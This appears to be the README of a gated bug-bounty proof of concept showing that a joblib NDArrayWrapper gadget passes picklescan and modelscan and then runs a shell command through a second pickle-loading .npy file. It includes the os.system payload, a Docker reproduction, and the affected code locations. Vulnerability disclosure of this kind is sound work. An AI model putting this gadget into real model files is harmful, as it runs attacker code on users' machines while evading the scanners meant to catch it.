| --- |
| license: mit |
| tags: |
| - security-poc |
| - huntr-mfv |
| - joblib |
| --- |
| |
| # joblib-ndarraywrapper-poc |
|
|
| > Demonstrator artifact for huntr MFV report — joblib `NDArrayWrapper` |
| > compat-mode gadget bypasses picklescan + modelscan and triggers RCE |
| > via secondary `np.load(..., allow_pickle=True)`. |
| |
| This repository is intentionally gated. Files are released only to |
| `protectai-bot` (huntr triage) for verification. |
| |
| ## Files |
| |
| - `model.joblib` — 142-byte gadget pickle. Holds an `NDArrayWrapper` |
| whose `.filename` field points at `stage2.npy`. picklescan and |
| modelscan both report this file as clean. |
| - `stage2.npy` — 351-byte object-dtype `.npy` whose pickled element |
| executes `os.system('id > /tmp/pwned.txt; echo PWNED >> /tmp/pwned.txt')` |
| via `__reduce__`. |
| |
| ## Reproduce locally (Docker) |
| |
| ``` |
| docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc ' |
| pip install -q joblib==1.5.3 numpy picklescan modelscan && \ |
| cp stage2.npy /tmp/stage2.npy && \ |
| picklescan --path model.joblib && \ |
| modelscan -p model.joblib && \ |
| python -c "import joblib; joblib.load(\"model.joblib\")" && \ |
| cat /tmp/pwned.txt |
| ' |
| ``` |
| |
| Expected output: |
| |
| ``` |
| Infected files: 0 # picklescan clean |
| No issues found! 🎉 # modelscan clean |
| uid=0(root) gid=0(root) groups=0(root) |
| PWNED # RCE |
| ``` |
| |
| Affected: joblib 1.5.3 (PyPI latest 2025-12-15) and joblib 1.6.dev0 |
| (repo HEAD). Sink: `joblib/numpy_pickle_compat.py:97-111`. Reach: |
| `joblib/numpy_pickle.py:438-467` (`NumpyUnpickler.load_build`). |
| |
| Distinct from CVE-2024-34997 (different file, class, sink, attacker |
| control surface). See huntr submission for the full writeup. |
| |
